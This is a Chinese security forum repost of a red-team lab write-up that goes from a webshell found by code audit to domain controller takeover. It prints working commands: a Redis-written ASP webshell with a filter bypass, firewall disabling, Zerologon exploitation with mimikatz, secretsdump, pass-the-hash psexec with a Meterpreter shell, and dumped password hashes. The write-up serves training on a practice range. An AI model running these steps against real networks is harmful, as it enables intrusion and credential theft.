安全矩阵

 找回密码
 立即注册
搜索
查看: 2103|回复: 0

从外网代码审计到三层内网各种漏洞拿到域控

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-6-5 09:54:28 | 显示全部楼层 |阅读模式
从外网代码审计到三层内网各种漏洞拿到域控[color=rgba(0, 0, 0, 0.3)]原创 [color=rgba(0, 0, 0, 0.3)]渗透攻击红队 [url=]渗透攻击红队[/url] [color=rgba(0, 0, 0, 0.3)]昨天
[color=rgba(0, 0, 0, 0.5)]收录于话题
#红队攻击[color=rgba(0, 0, 0, 0.3)]37

#域内渗透[color=rgba(0, 0, 0, 0.3)]24

#内网渗透[color=rgba(0, 0, 0, 0.3)]4



渗透攻击红队
一个专注于红队攻击的公众号


大家好,这里是 渗透攻击红队的第 58 篇文章,本公众号会记录一些红队攻击的案例,不定时更新

本篇是来自@暗月的红队靶场,由于很久没打过靶场了,所以来玩玩看;中途遇到了很多问题,且运用到的知识点比较多:代码审计、低权限如何提权、如何拿到宝塔后台权限、Bypass火绒添加用户、Redis写Webshell、Exchanage相关漏洞、CVE-2020-1472(域内提权漏洞)... 等等,对于想要学习红队单兵作战的朋友是个很好的靶场,下图是本次靶场的拓扑图!






从外网代码审计到三层内网各种漏洞拿到域控
代码审计拿到Webshell

首先是一个站:cocat.cc
通过提示把它的备份文件下载到了本地进行审计:http://www.cocat.cc/web.zip
通过枯燥的代码审计拿到了一个 webshell:

拿到宝塔后台突破命令执行

由于当前环境不能执行命令,函数都写死了:
通过翻文件翻到了 Mysql 的配置文件:
本想尝试 Mysql udf 提权绕过发现 Mysql 版本大于 5.1
由于当前 web 是宝塔搭建的:

通过翻文件找到了宝塔后台地址:

然后通过把宝塔的 default.db 文件下载到本地打开,users 表里就是宝塔的登陆账号密码:
md5 是肯定解密不出来的:(用过宝塔的都知道,宝塔密码是随机字符)

这个时候需要替换 md5 或者添加一个用户:
然后把文件保存,上传到目标宝塔目录下:
这个时候使用账号 saulGoodman 密码 123456 去登陆:
手动把禁用的函数关闭:

然后给他来个重启:
命令执行强行绕过:
成功拿到第一个 flag:

内网渗透

通过查看当前机器进程发现有火绒 AV :
随即做免杀上线到 CS:
通过 nbtscan 发现内网还有一台主机存活:
为了进内网直接做了一个 frp socks5 代理进去:
通过 @lengyi 老哥的脚本绕过火绒添加了一个用户:
然后开启了它的 3389:

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
为了方便我把 shell 弹到了msf:
然后抓到了 hash:

meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:de935c6087ec367d3ef786915a4edcce:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::hacker:1003:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::mysql:1002:aad3b435b51404eeaad3b435b51404ee:291376866817cf2ccfe198308e5f925b:::www:1001:aad3b435b51404eeaad3b435b51404ee:894f353e870620b186a9a46ce56ac8f1:::
通过解密得到了 administrator 的密码:QWEasd444

内网横向移动-Redis写Webshell

通过 msf 对内网进行扫描 arp 存活发现了几台机器:(之前没扫描出来应该是有防火墙)

post/windows/gather/arp_scanner
192.168.59.1 就不用看了是网关,192.168.59.4 就是内网另一台主机!
随后 proxychains + nmap 对 192.168.59.4  进行扫描探测端口服务:

proxychains nmap -sT -sV -Pn -n -p22,80,139,135,445,3306,1433,6379  192.168.59.4
发现开放的端口有:
web 页面的话倒是没啥:
看了看扫描出来 6379 应该是 redis 相关漏洞!
通过尝试 redis 未授权发现连接成功!
但是查看信息发现出错,应该是密码问题:
后通过 msf redis 爆破模块爆破出了密码:
重新登陆 redis:

proxychains redis-cli -h 192.168.59.4 -p 6379 -a 123456789qq

登陆成功!但是现在要想拿到权限首先我们不知道网站路径(写不了一句话 ),但是知道当前网站使用的是 IIS,那么 IIS 默认目录是:

C:\Inetpub\wwwroot
设想会不会是这个目录呢?随即写了一个 asp 的 shell 到 IIS 默认目录:

192.168.59.4:6379> config set dir C:/inetpub/wwwroot/192.168.59.4:6379> config set dbfilename 1.asp192.168.59.4:6379> set x '<%execute(request("x"))%>'  //注意这里要用单引号192.168.59.4:6379> save
发现写入不了,随后设置了读写权限 :

config set slave-read-only on

再来写一遍 webshell:
发现是 404,写 asp 是 500,应该是什么规则拦截了。
随后 bypass 测试,只能上传 asp,而且还可以通过这样绕过:(单引号中间要带空格)

set x '    <%execute(request("x"))%>    '


内网横向移动-坏土豆提权

通过发现当前机器是不出网的,而且权限还很小:

发现当前机器上权限太小任何文件都上传不了:
后通过找到了一个可读可写目录:

C:\ProgramData\VMware\logs\
并且当前机器上无任何杀软:
随即坏土豆提权成功:
拿到第二个 flag:

flag{moonsec-b6d767d2f8ed5d21a44b0e5886680cb9-2}

随即添加了一个 asp.net 管理员用户进去:

内网横向移动-对域内主机进行渗透

通过对内网进行存活探测发现内网存活了三台:10.10.10.201、10.10.10.202(本机)、10.10.10.209

for /l  %i  in (1,1,255) do @  ping  10.10.10.%i  -w  1  -n  1 |  find  /i  "ttl="
随后关闭它防火墙:

netsh advfirewall set allprofiles state off
然后 MSF 生成正向 shell:
目标运行 9090.exe 上线到 MSF:
hashdump 解密得到了密码:QWEasd1122
紧接着开了它的远程桌面:(之前添加了一个 asp.net 用户,方便后续好登陆桌面 )

run post/windows/manage/enable_rdp
通过 nbtcan 发现 10.10.10.201(DC)、10.10.10.209 是域机器:
得想办法拿到一台域机器!
对他们进行扫描端口发现他们都开放了 web 服务

其中 10.10.10.209 还是一个 Outlook Web App(微软的邮件组件)Exchange  :
但是我们没有账号,这个时候我在 Redis 上找到了 pts 文件:

C:\Users>for /r c:\ %i in (*.pst) do @echo %ifor /r c:\ %i in (*.pst) do @echo %ic:\Documents and Settings\Administrator\Documents\Outlook \moonsec@cncat.cc.pstc:\Documents and Settings\Administrator\Documents\Outlook \test@cncat.cc - test.pstc:\Documents and Settings\Administrator\My Documents\Outlook \moonsec@cncat.cc.pstc:\Documents and Settings\Administrator\My Documents\Outlook \test@cncat.cc - test.pstc:\Users\Administrator\Documents\Outlook \moonsec@cncat.cc.pstc:\Users\Administrator\Documents\Outlook \test@cncat.cc - test.pstc:\Users\Administrator\My Documents\Outlook \moonsec@cncat.cc.pstc:\Users\Administrator\My Documents\Outlook \test@cncat.cc - test.pst
知道了两个用户邮箱:moonsec@cncat.cctest@cncat.cc
然后把文件都下载到本地,进行后续利用相关发现都失败了,吗的这个邮箱有些漏洞没复现过,卡了好久,有时间还是得把这些漏洞一一复现一遍!

内网横向移动-CVE-2020-1472 拿到域控

之后发现他域控存在 CVE-2020-1472 域内提权漏洞:(需要 20200918 之后的 mimikatz 才可以使用),关于这个漏洞可以看我公众号之前写的文章:NetLogon 域内提权漏洞(CVE-2020-1472)复现过程

privilege::debuglsadump::zerologon /target:10.10.10.201 /account:12SERVER-DC$

lsadump::zerologon /target:10.10.10.201 /account:12server-dc$ /exploit
导出所有域内用户凭证:

python3 secretsdump.py cncat/12server-dc$@10.10.10.201 -no-pass
cncat.cc\Administrator:500:aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387:::
然后 wmiexec 横向拿到了域控权限:

随后又拿到第三个 flag:
利用 psexec 上线到 MSF:

msf6 exploit(windows/smb/psexec) > show options
Module options (exploit/windows/smb/psexec):
   Name                  Current Setting                                                    Required  Description   ----                  ---------------                                                    --------  -----------   RHOSTS                10.10.10.201                                                       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'   RPORT                 445                                                                yes       The SMB service port (TCP)   SERVICE_DESCRIPTION                                                                      no        Service description to to be used on target for pretty listing   SERVICE_DISPLAY_NAME                                                                     no        The service display name   SERVICE_NAME                                                                             no        The service name   SHARE                                                                                    no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share   SMBDomain             cncat                                                              no        The Windows domain to use for authentication   SMBPass               aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387  no        The password for the specified username   SMBUser               Administrator                                                      no        The username to authenticate as

Payload options (windows/x64/meterpreter/bind_tcp_rc4):
   Name         Current Setting  Required  Description   ----         ---------------  --------  -----------   EXITFUNC     thread           yes       Exit technique (Accepted: '', seh, thread, process, none)   LPORT        4446             yes       The listen port   RC4PASSWORD  msf              yes       Password to derive RC4 key from   RHOST        10.10.10.201     no        The target address

Exploit target:
   Id  Name   --  ----   0   Automatic

msf6 exploit(windows/smb/psexec) > run
  • 10.10.10.201:445 - Connecting to the server...NOTE: Rex::Socket.gethostbyname is deprecated, use getaddress, resolve_nbo, or similar instead. It will be removed in the next Major version
  • 10.10.10.201:445 - Authenticating to 10.10.10.201:445|cncat as user 'Administrator'...
  • 10.10.10.201:445 - Selecting PowerShell target
  • 10.10.10.201:445 - Executing the payload...[+] 10.10.10.201:445 - Service start timed out, OK if running a command or non-service executable...
  • Started bind TCP handler against 10.10.10.201:4446NOTE: Rex::Socket.gethostbyname is deprecated, use getaddress, resolve_nbo, or similar instead. It will be removed in the next Major version
  • Sending stage (200266 bytes) to 10.10.10.201
  • Meterpreter session 5 opened (0.0.0.0:0 -> xxx.xxx.xxx.xxx:22222) at 2021-06-02 06:35:22 +0000
    meterpreter >
    通过令牌窃取常规手段把身份切换为域管:
    然后通过域管和域机器 10.10.10.209 建立 IPC:
    至此最后一个 flag 也拿到手,本次靶场顺利通过!

    结尾

    对于红队成员来说最重要的就是渗透不能有短板,各种漏洞都应该去复现一遍,由于我 Exchange 的漏洞未复现导致卡了很长时间,最后还是使用暴力的手段拿到域控,在真实环境中很危险,很有可能导致域控的密码恢复不了!哦豁,那你就等着跑路吧!


  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    小黑屋|安全矩阵

    GMT+8, 2024-11-29 06:37 , Processed in 0.014079 second(s), 18 queries .

    Powered by Discuz! X4.0

    Copyright © 2001-2020, Tencent Cloud.

    快速回复 返回顶部 返回列表